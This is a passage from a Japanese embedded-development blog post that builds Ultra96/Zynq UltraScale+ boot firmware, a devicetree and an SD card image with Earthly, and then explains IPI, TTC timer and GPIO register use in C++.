U-Boot のビルドは、`ARCH` に渡す値が `aarch64` に変わるくらいで Linux とほぼ同じです。ビルドで一緒に作られるツール `dtc` と `mkimage` がこの後の作業で必要なので、これらも忘れず `SAVE ARTIFACT` しておきます。

```Earthfile
u-boot:
    FROM +prep
    RUN --mount=type=tmpfs,target=/tmp \
        curl --no-progress-meter -L https://github.com/Xilinx/u-boot-xlnx/archive/refs/tags/xilinx-v2022.1.tar.gz -o /tmp/archive.tar.gz &amp;&amp; \
        echo &apos;a02adc8d80f736050772367ea6f868214faaf47b6b3539781d6972dab26b227c  /tmp/archive.tar.gz&apos; | sha256sum -c &amp;&amp; \
        tar xf /tmp/archive.tar.gz --strip-components=1
    ARG nproc=$(nproc)
    COPY u-boot.config .config
    RUN CROSS_COMPILE=aarch64-linux-gnu- ARCH=aarch64 \
        make -j$nproc u-boot.elf
    SAVE ARTIFACT u-boot.elf
    SAVE ARTIFACT scripts/dtc/dtc /dtc
    SAVE ARTIFACT tools/mkimage /mkimage
```

Linux と同様に、コンフィグはこちらも `menuconfig` で作ったものをそのまま入れています。ちなみにこのコンフィグは `xilinx_zynqmp_virt_defconfig` をベースに使わない機能を削り、U-Boot 自身が使う Devicetree Blob をどうロードするかを変更したものです。Devicetree は FSBL にロードさせたいので `CONFIG_OF_BOARD` に変更しています。

```
Device Tree Control  ---&gt;
    Provider of DTB for DT control (Provided by the board (e.g a previous loader) at runtime)  ---&gt;
        (X) Provided by the board (e.g a previous loader) at runtime
```

### Trusted Firmware-A (TF-A)

以前は arm-trusted-firmware やそれを略して ATF と呼ばれていたやつです。これもいつもどおりの方法でビルドします。`ZYNQMP_CONSOLE=cadence1` をつけるとメッセージ出力先が UART1 になってくれます。

```Earthfile
tf-a:
    FROM +prep
    RUN --mount=type=tmpfs,target=/tmp \
        curl --no-progress-meter -L https://github.com/Xilinx/arm-trusted-firmware/archive/refs/tags/xilinx-v2022.1.tar.gz -o /tmp/archive.tar.gz &amp;&amp; \
        echo &apos;e7d6a4f30d35b19ec54d27e126e7edc2c6a9ad6d53940c6b04aa1b782c55284e  /tmp/archive.tar.gz&apos; | sha256sum -c &amp;&amp; \
        tar xf /tmp/archive.tar.gz --strip-components=1
    ARG nproc=$(nproc)
    RUN CROSS_COMPILE=aarch64-linux-gnu- ARCH=aarch64 \
        make -j$nproc PLAT=zynqmp RESET_TO_BL31=1 ZYNQMP_CONSOLE=cadence1
    SAVE ARTIFACT build/zynqmp/release/bl31/bl31.elf /
```

### Devicetree Blob

XSCT で生成した `.dts` に必要なものを追記して、それを U-Boot と Linux の両方にロードさせることにします。`gcc` はプリプロセッサを処理するために呼んでいます。渡しているオプションは [Linux カーネルにならった](https://github.com/Xilinx/linux-xlnx/blob/75872fda9ad270b611ee6ae2433492da1e22b688/scripts/Makefile.lib#L351-L355)ものです。

```Earthfile
system.dtb:
    FROM +prep
    COPY +generate-src/device-tree .
    COPY +linux/include include
    COPY +u-boot/dtc .
    COPY system-top-append.dts .
    RUN cat system-top-append.dts &gt;&gt; system-top.dts &amp;&amp; \
        gcc -E -nostdinc -undef -D__DTS__ -x assembler-with-cpp -Iinclude -o - system-top.dts | ./dtc -@ -p 0x1000 -I dts -O dtb -o system.dtb
    SAVE ARTIFACT system.dtb
```

### Bootgen と boot.bin

`boot.bin` の生成に使う `bootgen` は [GitHub にソースコードがあります](https://github.com/Xilinx/bootgen)。まずこれをビルドします。ソースコードを持ってきて `make` すれば、同じディレクトリ内に実行ファイル `bootgen` が出来上がります。

```Earthfile
bootgen:
    FROM +prep
    RUN --mount=type=tmpfs,target=/tmp \
        curl --no-progress-meter -L https://github.com/Xilinx/bootgen/archive/refs/tags/xilinx_v2022.1.tar.gz -o /tmp/archive.tar.gz &amp;&amp; \
        echo &apos;a7db095abda9820babbd0406e7036d663e89e8c7c27696bf4227d8a2a4276d13  /tmp/archive.tar.gz&apos; | sha256sum -c &amp;&amp; \
        tar xf /tmp/archive.tar.gz --strip-components=1
    RUN make
    SAVE ARTIFACT bootgen
```

次に `boot.bin` に含めるファイルとその構成を指示する `.bif` ファイルを作ります。ここに書いた `system.dtb` は U-Boot が使うものです。ロード先のアドレス `0x100000` は U-Boot の `CONFIG_XILINX_OF_BOARD_DTB_ADDR=0x100000` に対応しています。[UG1283](https://docs.xilinx.com/r/en-US/ug1283-bootgen-user-guide/destination_cpu) にある通り、PMUFW のロードのさせ方には `[pmufw_image]` と `[destination_cpu=pmu]` の2通りあり、その違いは BootROM にロードさせるか FSBL にロードさせるかです。BootROM にロードさせると PMUFW 実行直後のバージョンなどの方法が出てこない気がする[^csu]ので FSBL にロードさせています。

```
all:
{
  [destination_cpu=a53-0, bootloader]                       fsbl.elf
  [destination_cpu=pmu]                                     pmufw.elf
  [destination_device=pl]                                   system.bit
  [destination_cpu=a53-0, exception_level=el-3, trustzone]  bl31.elf
  [destination_cpu=a53-0, exception_level=el-2]             u-boot.elf
  [destination_cpu=a53-0, load=0x100000]                    system.dtb
  [destination_cpu=r5-lockstep]                             ipi-led.elf
}
```

[^csu]: FSBL の `psu_init()` 前に実行されてしまうから…？

あとはこれまでのターゲットでビルドしてきた必要なファイルと `.bif` ファイルを持ってきて、`bootgen` コマンドを実行すれば OK です。

```Earthfile
boot.bin:
    FROM +prep
    COPY +app-r5-0/bin/ipi-led.elf .
    COPY +bootgen/bootgen .
    COPY +fsbl.elf/ .
    COPY +generate-src/system.bit .
    COPY +pmufw.elf/ .
    COPY +system.dtb/ .
    COPY +tf-a/bl31.elf .
    COPY +u-boot/u-boot.elf .
    COPY boot.bif .
    RUN ./bootgen -arch zynqmp -image boot.bif -o boot.bin
    SAVE ARTIFACT boot.bin
```

### boot.scr

U-Boot には、ブートデバイスのファイルシステム直下にあるスクリプト `boot.scr` を実行してくれる機能があります。これを使ってカーネルがある場所を指示したり、ロードしたカーネルでブートさせたりします。`boot.scr` は、U-Boot のコマンドをテキストファイルに書き、`mkimage` に渡して作ります。

```Earthfile
boot.scr:
    FROM +prep
    COPY +u-boot/mkimage .
    COPY boot.cmd .
    RUN ./mkimage -c none -A arm64 -T script -d boot.cmd boot.scr
    SAVE ARTIFACT boot.scr
```

ブートデバイスとして使う SD カードには2つのパーティションを作り、1つ目のパーティションに `boot.bin`, `boot.scr`, `system.dtb`  を、2つ目のパーティションに Ubuntu ということにします。開発時の書き換えやすさを優先して、`system.dtb` も1つ目のパーティションに置いています。ということで `boot.cmd` はこんな感じです。カーネルは2つ目のパーティションの `/boot` にあるので `mmc 0:2 ...`, `system.dtb` は1つ目のパーティション直下にあるので `mmc 0:1 ...` になります。あとはファイルをロードしたアドレスを `booti` コマンドに渡してブートさせます。initramfs を使わないので、`booti` の第2引数は `-` にします。

```sh
load mmc 0:2 ${kernel_addr_r} /boot/vmlinuz-5.15.19
load mmc 0:1 ${fdt_addr_r} /system.dtb
booti ${kernel_addr_r} - ${fdt_addr_r}
```

ちなみに、`bindeb-pkg` で作ったカーネルの `.deb` パッケージは、Linux カーネルに含まれる `.dts` から作った `.dtb` を `/usr/lib/linux-image-*` にインストールするようです。カーネルにあるもので十分なケースではこちらのパスを設定すればよいです。

### SD カードのディスクイメージも作っちゃう

ここまでで必要なファイルが全て揃いました。でも、これですぐ Ultra96 で動かせるかといえば ✗ です。SD カードにパーティションを切って、それぞれフォーマットして、ファイルをコピーして…と、地味に面倒な作業が残っています。少しでも作業を減らすために、`Earthfile` の中で SD カードのディスクイメージまで作ってしまいます。

最初にパーティション毎にイメージを作ってフォーマット &amp; データのコピー、最後にそれらを結合して `sfdisk` でパーティションテーブルの書き込み、という感じのことをやっています。`loop` デバイスの作成や `mount` などを実行しているため、ここだけは仕方なく `--privileged` をつけています。いきなりディスクイメージを作らずパーティション毎にファイルを分けて構築しているのは、コンテナ内で `mount` は動くけど `losetup` はうまく動いてくれない場合があったことと、そもそもカーネルモジュール `loop` のパラメータ `max_part` が指定しなければ大抵0なため、パーティションを持つ `loop` デバイスの作成がコンテナ内だけの処理で完結しにくいためです。

```Earthfile
disk.img.zst:
    FROM +prep
    COPY +boot.tar/ .
    COPY +rootfs.tar/ .
    ARG DISK_IMG_PART1_SIZE=16M
    ARG DISK_IMG_PART2_SIZE=256M
    RUN --mount=type=tmpfs,target=/tmp --privileged \
        truncate -s &quot;$DISK_IMG_PART1_SIZE&quot; /tmp/boot.img &amp;&amp; \
        mkfs.vfat -F 16 /tmp/boot.img &amp;&amp; \
        mount /tmp/boot.img /mnt &amp;&amp; \
        tar xf boot.tar -C /mnt &amp;&amp; \
        umount /mnt &amp;&amp; \
        truncate -s &quot;$DISK_IMG_PART2_SIZE&quot; /tmp/root.img &amp;&amp; \
        mkfs.ext4 /tmp/root.img &amp;&amp; \
        mount /tmp/root.img /mnt &amp;&amp; \
        tar xf rootfs.tar --xattrs --xattrs-include=&apos;*&apos; -C /mnt &amp;&amp; \
        umount /mnt &amp;&amp; \
        truncate -s 1M /tmp/header.img &amp;&amp; \
        cat /tmp/header.img /tmp/boot.img /tmp/root.img &gt; /tmp/disk.img &amp;&amp; \
        echo &quot;label: dos\n1M,${DISK_IMG_PART1_SIZE},e\n,${DISK_IMG_PART2_SIZE},L\n&quot; | sfdisk /tmp/disk.img &amp;&amp; \
        zstd --no-progress -9 /tmp/disk.img -o disk.img.zst
    SAVE ARTIFACT disk.img.zst

boot.tar:
    FROM +prep
    COPY +boot.scr/boot.scr boot/
    COPY +boot.bin/ boot/
    COPY +system.dtb/ boot/
    RUN tar --create -f boot.tar -C boot .
    SAVE ARTIFACT boot.tar
```

もちろんディスクイメージを作ったからといって、なにか変更を加えたときに毎回焼き直す必要はありません。例えば RPU のアプリケーションや Devicetree を変更しただけなら第1パーティションだけ、といった感じに2回目以降は変更があった箇所だけ書き直せば十分です。またせっかく載せたリッチな Linux 環境を活用して、USB メモリやネットワーク経由でファイルが転送できると思います。APU のアプリケーションは、何かしらの修正を加えたものをシュッと転送してすぐ試す、ができます。

もちろん Ultra96 は SD カードからしかブートできないわけではありません。JTAG を使ってロードし直すのもアリですね。

### ビルド！

Earthly は1回のコマンド実行で1つのターゲットしか呼び出せないので、最終的に必要となるものをまとめるターゲットを作っておくのが便利です。今回の `Earthfile` では `build` がこれに対応します。`RUN` などのコマンドを使わないなら、`FROM` に `scratch` が指定できます。

```Earthfile
build:
    FROM scratch
    COPY +disk.img.zst/ .

    COPY +app-r5-0/bin/ipi-led.elf .
    COPY +boot.bin/ .
    COPY +boot.scr/ .
    COPY +fsbl.elf/ .
    COPY +generate-src/system.bit .
    COPY +pmufw.elf/ .
    COPY +system.dtb/ .
    COPY +tf-a/bl31.elf .
    COPY +u-boot/u-boot.elf .
    SAVE ARTIFACT ./*
```

早速このターゲットをビルドします。`rootfs-base.tar` のために qemu-user-static が準備できていることを再確認した上で次のコマンドを実行します。できたディスクイメージなどはローカルに持ってきたいので `--artifact` を、`--privileged` を付けたターゲット `disk.img.zst` のために `--allow-privileged` を付けます。

    $ earthly --artifact --allow-privileged +build/\* --XSA_FILE=design_1_wrapper.xsa ./build/

あとはこんな感じで `disk.img.zst` を SD カードに焼けば実機で動かせると思います。

    $ zstdcat build/disk.img.zst | sudo dd of=/dev/sdX bs=1M status=progress

## GitHub Actions

せっかく Vivado/Vitis を使うことなく (xsct-trim は使っていますが) ビルドできるようになったので、GitHub Actions 上でビルドするようにしてみました。ソフトウェアのパートに絞り、かつ GitHub Actions の設定は最低限のもののみであるとはいえ、あのバージョン管理ツールでさえ導入しにくさに定評のある Xilinx の開発環境を必要とするはずのものが GitHub Actions 上で動いているのは、Earthly 導入の副次効果であるとはいえ大きなことではないかと思います。

## 今後なんとかしたいこと

### デバッグ関連

なんとかできるといいなと思っていることの1つがデバッグです。Earthly でビルドしたバイナリはデバッグシンボルに含まれるファイルパスがコンテナ内のものなので、ホスト側環境のデバッガー等に食わせるとちゃんと認識してくれません。GDB は `set substitute-path` でファイルパスの置換ができますが、Xilinx の XSDB はできません。単なるマイコンと違って FPGA の bitstream をロードだとかもできてほしいので、じゃあ GDB だけ使おうってわけにもいかないんです。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;なんか OpenOCD + GDB で Ultra96 の R5 で動いてるアプリのデバッグいけたっぽい &lt;a href=&quot;https://t.co/EzRcJhCYyo&quot;&gt;pic.twitter.com/EzRcJhCYyo&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1564703405435928577?ref_src=twsrc%5Etfw&quot;&gt;August 30, 2022&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

### ビルドをもっと速くしたい

Earthly は、基本的に同じ入力に対するビルドは1回きりで、それ以降はキャッシュを使ってくれます。言い換えれば、何かしらのターゲットが依存するファイルを少しでも変更すれば、その影響を受けた箇所以降を `RUN` などのコマンド単位で再実行しなくてはいけません。今回の `Earthfile` だと、例えば Linux カーネルをビルドする `linux` ターゲットでそれが顕著に出てくると思います。コンフィグを変更しない限り[^cache-gc]リビルドは起きません。しかしコンフィグを1行だけでも書き換えたのなら、前回のビルド結果の再利用もなく `RUN make` からやり直しです。`RUN –-mount=type=cache` や `CACHE` コマンドを使って追加のキャッシュを設定すれば何とかできたりしますが、同時に制御しづらい状態に依存を作ってしまいます。使いどころがちょっと難しいのですよね[^advanced-cache]。

[^cache-gc]: あるいはキャッシュを意図的に消すか GC がかからない限り。
[^advanced-cache]: パッケージマネージャなど、何かをダウンロードする系とは相性がよさそうです。一方でビルドキャッシュに使うのは注意な気がします、特に C や C++ を使っている場合。

もう一つビルド高速化に関連して、ターゲット内のビルド実行のジョブ数をどーやって決めるか問題があります。Earthly はターゲット間の依存関係に問題ない限り並列に実行してくれます。しかしターゲットのビルドに見込まれる時間やどれくらいの計算リソースが必要かなどはもちろん考慮してくれません。Earthly の並列実行を見込んでタスク内のジョブ数を減らせは (例えば1)、CPU が暇をしまくっているにもかかわらず時間のかかるターゲット1つだけがのんびり実行されることになったり。逆に `$(nproc)` などにすれば、一時的に CPU やメモリ、時にはディスクアクセスがすごいことになるのが十分に予想できます。今回は手抜きで `$(nproc)` を設定している箇所がいくつかあります。GitHub Actions でもメモリ不足で殺されることなく動いているようですし、[ThinkPad X13 Gen2](/blog/2020/09/01/thinkpad-x13/) の 16GB RAM と約 6 GB のスワップという環境でも、一瞬スワップの使用量がグンと上がる程度でなんとかなっているのでまぁ許容範囲？です。ブラウザのタブをめっちゃ開いていたらいくつかクラッシュしちゃうかもですが。

## おわり

Earthly という Build automation tool の紹介と、それを Zynq のソフトウェアプロジェクトに導入してみた例を紹介しました。Earthly が個々のソフトウェアのビルド方法自体は大きく変えなくてよく比較的簡単に導入できること、そしてコンテナ内でのビルドで様々な恩恵が得られることが伝わればと思います。Zynq に関しては、イマドキできて当たり前の開発ワークフローでさえ導入しづらく苦労していたものが、Earthly のおかげで随分と開発環境を改善できました。

## おまけ: 内部実装いろいろ

### Zynq UltraScale+ の IPI をそのまま使う

今回の IPI の用途はとても単純なので、この文脈でよく出てくる libmetal や OpenAMP は使っていません。RPU は embeddedsw に含まれる `XIpiPsu` で、APU 側は Userspace I/O を介して IPI を直接操作しています。

IPI の基本操作 (主要レジスタ) は、割り込みの有効・無効 (`IER`, `IDR`)、IPI の Trigger (`TRIG`)、割り込みを受けたときのステータス確認とクリア (`ISR`)、割り込みを起こせたか・ターゲットがそれをクリアしたかの確認 (`OBS`) です。どの操作も、読み書きする値はターゲットの channel に対応するビットマスクです。今回の実装では、RPU 0 をデフォルトの channel 1 に, APU を channel 7 を割り当てました[^ipi-ch-apu]。ビットマスクはそれぞれ 8 bit 目と 24 bit 目がこれに対応します。

[^ipi-ch-apu]: APU にデフォルトで割り当てられているのは channel 0 です。ただしこれは、XSCT が生成した Devicetree ノード `mailbox@ff990400` や OpenAMP 関連の資料にあるように PMU とやりとりするのに使っているようです。RPU 0 とやりとりで扱うビットに影響しない気もしますが、わざわざほかのプロセッサやソフトウェアが既に使っている領域を共有する必要もないです。channel 7 以降は未割り当てなのでこれを使います。

ということで、まずは embeddedsw の `XIpiPsu` を使った RPU 側アプリケーションの例です。`XIpiPsu` は、レジスタの操作ほぼそのままのインターフェイスを提供しているようです。`xparameters.h` には channel 7 に相当する `XPAR_XIPIPS_TARGET_PSU_CORTEXA53_0_CH0_MASK` のような定数がないので、コードのなかで定義しています。

```cpp
inline constexpr std::uint32_t IPI_TRIG_CH7_MASK = std::uint32_t{1} &lt;&lt; 24;

XIpiPsu ipi{};
{
  auto cfg = XIpiPsu_LookupConfig(XPAR_PSU_IPI_1_DEVICE_ID);
  XIpiPsu_CfgInitialize(&amp;ipi, cfg, cfg-&gt;BaseAddress);
}

XIpiPsu_InterruptEnable(&amp;ipi, IPI_TRIG_CH7_MASK);       // IER
XIpiPsu_InterruptDisable(&amp;ipi, IPI_TRIG_CH7_MASK);      // IDR
XIpiPsu_TriggerIpi(&amp;ipi, IPI_TRIG_CH7_MASK);            // TRIG
XIpiPsu_ClearInterruptStatus(&amp;ipi, IPI_TRIG_CH7_MASK);  // ISR write (clear)

XIpiPsu_GetInterruptStatus(ipi);  // ISR read
XIpiPsu_GetObsStatus(&amp;ipi)        // OBS
```

続いて Linux 側です。IPI のレジスタを UIO で使えるように、カーネルは `CONFIG_UIO_PDRV_GENIRQ` を有効にしておきます。

```
Device Drivers  ---&gt;
    &lt;*&gt; Userspace I/O drivers  ---&gt;
        &lt;M&gt;   Userspace I/O platform driver with generic IRQ handling
```

そして Devicetree に UIO デバイスのノードを追加します。`compatible` や `uio_pdrv_genirq.of_id` に設定する文字列は、この界隈の慣習 (?) にならって `generic-uio` にしています。実際は何でもよいはずです。node-name も名前がかぶらなければ何でもよいと思います。一応 [Devicetree Specification](https://www.devicetree.org/specifications/) には Generic Names Recommendation というセクションがありますが、これに当てはまりそうなものはなさそうです。unit-address は対応するもののベースアドレスにしておくのが無難です。

```dts
/ {
  ipi-ctrl@ff340000 {
    compatible = &quot;generic-uio&quot;;
    reg = &lt;0x0 0xff340000 0x0 0x1000&gt;;
    interrupt-parent = &lt;&amp;gic&gt;;
    interrupts = &lt;0 29 4&gt;;
  };
};
```

これで IPI のレジスタなどに `/dev/uioN` でアクセスできます。実際に操作するコードは例えばこんな感じです。まぁ UIO で見えるようになったレジスタに対して値を読み書きするだけですね。

```cpp
inline constexpr std::size_t IPI_TRIG = 0; // Interrupt Trigger
inline constexpr std::size_t IPI_OBS = 1;  // Interrupt Observation
inline constexpr std::size_t IPI_ISR = 4;  // Interrupt Status and Clear
inline constexpr std::size_t IPI_IMR = 5;  // Interrupt Mask
inline constexpr std::size_t IPI_IER = 6;  // Interrupt Enable
inline constexpr std::size_t IPI_IDR = 7;  // Interrupt Disable

inline constexpr std::uint32_t IPI_TRIG_RPU0_MASK = std::uint32_t{1} &lt;&lt; 8;

int fd = ::open(&quot;/dev/uioN&quot;, O_RDWR | O_CLOEXEC);

auto reg = static_cast&lt;std::uint32_t*&gt;(
    ::mmap(nullptr, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));

reg[IPI_IER] = IPI_TRIG_RPU0_MASK;   // IER
reg[IPI_IDR] = IPI_TRIG_RPU0_MASK;   // IDR
reg[IPI_TRIG] = IPI_TRIG_RPU0_MASK;  // TRIG
reg[IPI_ISR] = IPI_TRIG_RPU0_MASK;   // ISR write (clear)

const auto isr = reg[IPI_ISR];  // ISR read
const auto obs = reg[IPI_OBS];  // OBS
```

UIO を使った場合の割り込みはちょっとおもしろいです。`open` したときの file descriptor に1 (non-zero value) を `write` すると、割り込みが来たタイミングで `read` が返ってくるというインターフェイスになっています。読み出した値は使っていませんが、カーネルの実装を見た感じでは割り込み毎に増えていくカウンタのようですね。

```cpp
for (;;) {
  std::uint32_t irq = 1;

  // 次の read() で割り込みを受け取る
  if (::write(fd &amp;irq, sizeof irq) &lt; 0) {
    std::perror(&quot;write&quot;);
    return -1;
  }

  // 割り込みを待つ
  if (::read(fd, &amp;irq, sizeof irq) &lt; 0) {
    std::perror(&quot;read&quot;);
    return -1;
  }

  // 割り込みクリア
  if (reg[IPI_ISR] &amp; IPI_TRIG_RPU0_MASK) {
    reg[IPI_ISR] = IPI_TRIG_RPU0_MASK;
  }
}
```

さて、これで互いに IPI を飛ばせるようになりました。では IPI を飛ばしたタイミングで何かしらのデータをやりとりしたい場合はどうするかです。今回は [Technical Reference Manual (TRM, UG1085)](https://docs.xilinx.com/v/u/en-US/ug1085-zynq-ultrascale-trm) の IPI と同じ場所で言及されている Message Buffer を使いました。Message Buffer は、IPI の requester/responder の組み合わせ1つあたりに request/response それぞれ 32 byte が確保されたメモリ空間です。IPI を使うプロセッサなど (TRM の言葉だと Agent) は8つあるので、Agent 毎に 0x20 \* 2 \* 8 = 0x200 byte ですね。

この Message Buffer の厄介なところが、ある IPI の request/response でどこを使えばいいのかがわかりにくいところです。channel と buffer index がとてもまぎらわしいし、おまけに TRM に書いてあるアドレスと `xparameters.h` の値がなんか違う気がします。今回の構成における値を`xparameters.h` の値をもとに表にしてみました。環境・構成によっては変わってくるかもしれないことに注意です。

| Channel Number | Owner | Message Buffer Index | Address |
| --- | --- | --- | --- |
| Channel 0  | APU   | 2 | `0xff99&apos;0400` |
| Channel 1  | RPU 0 | 0 | `0xff99&apos;0000` |
| Channel 2  | RPU 1 | 1 | `0xff99&apos;0200` |
| Channel 3  | PMU   | 7 | `0xff99&apos;0e00` |
| Channel 4  | PMU   | 7 | |
| Channel 5  | PMU   | 7 | |
| Channel 6  | PMU   | 7 | |
| Channel 7  | PL 0  | 3 | `0xff99&apos;0600` |
| Channel 8  | PL 1  | 4 | `0xff99&apos;0800` |
| Channel 9  | PL 2  | 5 | `0xff99&apos;0a00` |
| Channel 10 | PL 3  | 6 | `0xff99&apos;0c00` |

0x200 byte の領域の区切られ方も buffer index 順です。ということで RPU 0 (ch 1, idx 0) -&gt; APU (ch 7, idx 3) の IPI では `0xff99&apos;00c0` と `0xff99&apos;00e0`、APU -&gt; RPU 0 の IPI では `0xff99&apos;0600` と `0xff99&apos;0620` を使えばいいことがわかります。Linux の場合は Devicetree にこんな感じの設定をし、IPI レジスタと同様 `mmap` した領域を介してアクセスできるようにしました。なお、実際に Message Buffer を使っているのは APU から RPU に IPI するときだけです。

```dts
/ {
  ipi-buffer@ff990000 {
    compatible = &quot;generic-uio&quot;;
    reg = &lt;0x0 0xff990600 0x0 0x20&gt;, // APU -&gt; RPU0 request
          &lt;0x0 0xff990620 0x0 0x20&gt;, // RPU0 -&gt; APU response
          &lt;0x0 0xff9900c0 0x0 0x20&gt;, // RPU0 -&gt; APU request
          &lt;0x0 0xff9900e0 0x0 0x20&gt;; // APU -&gt; RPU0 response
  };
};
```

### L チカを支える TTC

RPU から使えるタイマー・カウンターとして、LPD にある4つの Triple-timer counter (TTC) があります。今回はこのうちの1つを 10 Hz で割り込みが飛ぶようにして L チカのタイミング制御に使っています。

TTC は名前の通り、3つのカウンターを持つユニットです。それが4つあるので合計12個のカウンターがあることになります。`xparameters.h` では、1つ目の TTC が持つカウンターから順に `XPAR_PSU_TTC_0_*`, `XPAR_PSU_TTC_1_*`, ..., `XPAR_PSU_TTC_12_*` と名前が付いています。ちょっとまぎらわしいので注意です。また XSCT で BSP を作ったときに出力されるメッセージや `xparameters.h` の記述にある通り、カウンターの1つは `sleep` などの実装に使われるようなので、実際に使えるカウンターは11個です。

    +generate-src | psu_ttc_3 will be used in sleep routines for delay generation

今回は `xparameters.h` の `XPAR_PSU_TTC_0`、つまり TTC0 の1つ目のカウンターを使いました。10 Hz の Interval Mode で割り込みを設定するならこんな感じです。ちなみに、デバッグなどで実行中のアプリケーションを何度もロードし直すことも想定した場合、`XTtcPs_CfgInitialize()` の前にレジスタを直接操作するなどで TTC を無理やり無効化するなどの処理を入れるのがいいと思います。もしこのタイミングで TTC が動いていた場合、[`XTtcPs_CfgInitialize()` がエラーを返してしまう](https://github.com/Xilinx/embeddedsw/blob/b3d8b420b421730ea505da55b42174dc90f885c1/XilinxProcessorIPLib/drivers/ttcps/src/xttcps.c#L121-L127)ためです。

```cpp
static void ttc_irq_handler(void* data) noexcept {
  auto ttc = static_cast&lt;XTtcPs*&gt;(data);
  const auto status = XTtcPs_GetInterruptStatus(ttc);
  if (status &amp; XTTCPS_IXR_INTERVAL_MASK) {
    // ...

    XTtcPs_ClearInterruptStatus(ttc, XTTCPS_IXR_INTERVAL_MASK);
  }
}


XTtcPs ttc{};
{
  auto cfg = XTtcPs_LookupConfig(XPAR_PSU_TTC_0_DEVICE_ID);
  XTtcPs_CfgInitialize(&amp;ttc, cfg, cfg-&gt;BaseAddress);

  XTtcPs_SetOptions(&amp;ttc, XTTCPS_OPTION_INTERVAL_MODE | XTTCPS_OPTION_WAVE_DISABLE);

  XInterval interval;
  std::uint8_t prescaler;
  XTtcPs_CalcIntervalFromFreq(&amp;ttc, 10, &amp;interval, &amp;prescaler); // 10 Hz
  XTtcPs_SetInterval(&amp;ttc, interval);
  XTtcPs_SetPrescaler(&amp;ttc, prescaler);

  XTtcPs_EnableInterrupts(&amp;ttc, XTTCPS_IXR_INTERVAL_MASK);
  XTtcPs_ClearInterruptStatus(&amp;ttc, XTTCPS_IXR_ALL_MASK);

  XScuGic_Connect(&amp;gic, XPAR_PSU_TTC_0_INTR, ttc_irq_handler, &amp;ttc);
  XScuGic_Enable(&amp;gic, XPAR_PSU_TTC_0_INTR);
}
```

### PS GPIO の任意の複数ピンを同時に扱う

ほかに RPU から使っているのは GPIO です。Ultra96 の LED は `PS_MIO{17, ..., 20}` につながっているので `XGpioPs` を使います。

GPIO の操作というと、ピン単位かポートやバンクなどと呼ばれるまとまった単位で操作するのが一般的だと思います。`XGpioPs` も、`XGpioPs_Read()`, `XGpioPs_Write()` などバンク単位での操作と、`XGpioPs_ReadPin()`, `XGpioPs_WritePin()` などピン単位の操作が C の関数として定義されています。LED 4つを一度に操作するなら、ちょうどそれらが同じバンクにあるので、例えばこんな感じにかけそうです。

```cpp
inline constexpr std::uint32_t GPIO_BANK0_LED_MASK = std::uint32_t{0b1111} &lt;&lt; 17;

inline void set_ultra96_leds(XGpioPs&amp; gpio, std::uint8_t value) noexcept {
  const auto r = XGpioPs_Read(&amp;gpio, 0);
  XGpioPs_Write(&amp;gpio, 0, (r &amp; ~GPIO_BANK0_LED_MASK) | ((value * 0b1111) &lt;&lt; 17));
}
```

しかし、これだと一度 GPIO の値を読み出しているのがなんだかもにょっとします。また、`XGpioPs_Write()` がそのバンク全体に影響する操作なのもちょっとこわいです。特に APU で動いている Linux も GPIO を触れる状況にあるので、(実際に bank 0 を使うものはいないはずですが) 互いの処理の実行され方によっては整合性が取れなくなってしまうかもしれません。もちろん、そんな状況が想定される設計にしないに越したことはありませんが、いずれにせよ Zynq という同じメモリ空間を複数のプロセッサなどが共有している環境では注意しておくべきです[^resource-conflict]。

[^resource-conflict]: SoC 内のあらゆるリソースが同じメモリ空間にアクセスできるの、Zynq のおもしろく強力であり、同時にコワイところですよね。ちなみに XSCT が生成する `.dts` はデフォルトで何でも有効になっているので、RPU などからさわるリソースは `status` を `disabled` または `reserved` にしたり、PL 上のリソースは `/delete-node/` するのがよいです。デバイスドライバーによっては probe の段階でペリフェラルにリセットかけたりとかしちゃうので。

どうしたものかと TRM などを眺めていると、`MASK_DATA_{LSW,MSW}` というレジスタがあるのに気づきます。これは各バンクに属する下 16 bit・上 10 bit に対し、一度にビットマスクとデータを渡すことで特定のピンだけの出力を指定できるようです。まさに探していたものですね。`PS_MIO{17, ..., 20}` は bank 0 の上位10 bit の枠になるので、`MASK_DATA_0_MSW` に対してこんな感じにしてやればいいですね。

```cpp
inline constexpr std::uint32_t GPIO_BANK0_LED_MASK = std::uint32_t{0b1111} &lt;&lt; 17;

inline void set_ultra96_leds(XGpioPs&amp; gpio, std::uint8_t value) noexcept {
  XGpioPs_WriteReg(
    gpio.GpioConfig.BaseAddr, XGPIOPS_DATA_MSW_OFFSET,
    // MASK_DATA_0_MSW の上位 16 bit はマスク
    // `PS_MIO{17, ..., 20}` 以外に対応するものを 1 にする
    (~GPIO_BANK0_LED_MASK &amp; 0xffff0000) |
    // `PS_MIO{17, ..., 20}` に設定する値
    ((value &amp; 0b1111) &lt;&lt; 1)
  );
}
```

### Vitis で作ったベアメタルアプリケーションを CMake でビルドする

上でちょろっと紹介したように、RPU 側アプリケーションの実装は Vitis で作った Appication Project からファイルを持ってきた上で CMake でビルドできるようにしたものです。`main.cc` 1つだけにわざわざ CMake を使わなくてよいですが、これをテンプレート的に別プロジェクトで使いまわすことを想定してのものです。

embeddedsw で提供されるいろいろを使うには、`libxil.a` などをリンクしなければいけません。`libxil.a` の検出とコンパイル・リンクのために、少々雑ではありますが `FindLibXil.cmake` を書きました。standalone 以外のライブラリも `find_package()` の `COMPONENTS` で指定できるようになっています。各ライブラリに対応するターゲットは、`add_library(LibXil::standalone INTERFACE IMPORTED)` のように `INTERFACE IMPORTED` で宣言しています。よくある `STATIC` や `UNKNOWN` でなく `INTERFACE` なのは、これらを単に `-l&lt;ほげほげ&gt;` でリンクできず、`--start-group,...,--end-group` でリンク順を明示してやらないといけないためです。続く `set_target_properties()` でそうしたリンクオプションを指定しています。

```cmake
if(LibXil_standalone_FOUND AND NOT TARGET LibXil::standalone)
  add_library(LibXil::standalone INTERFACE IMPORTED)
  set_target_properties(LibXil::standalone PROPERTIES
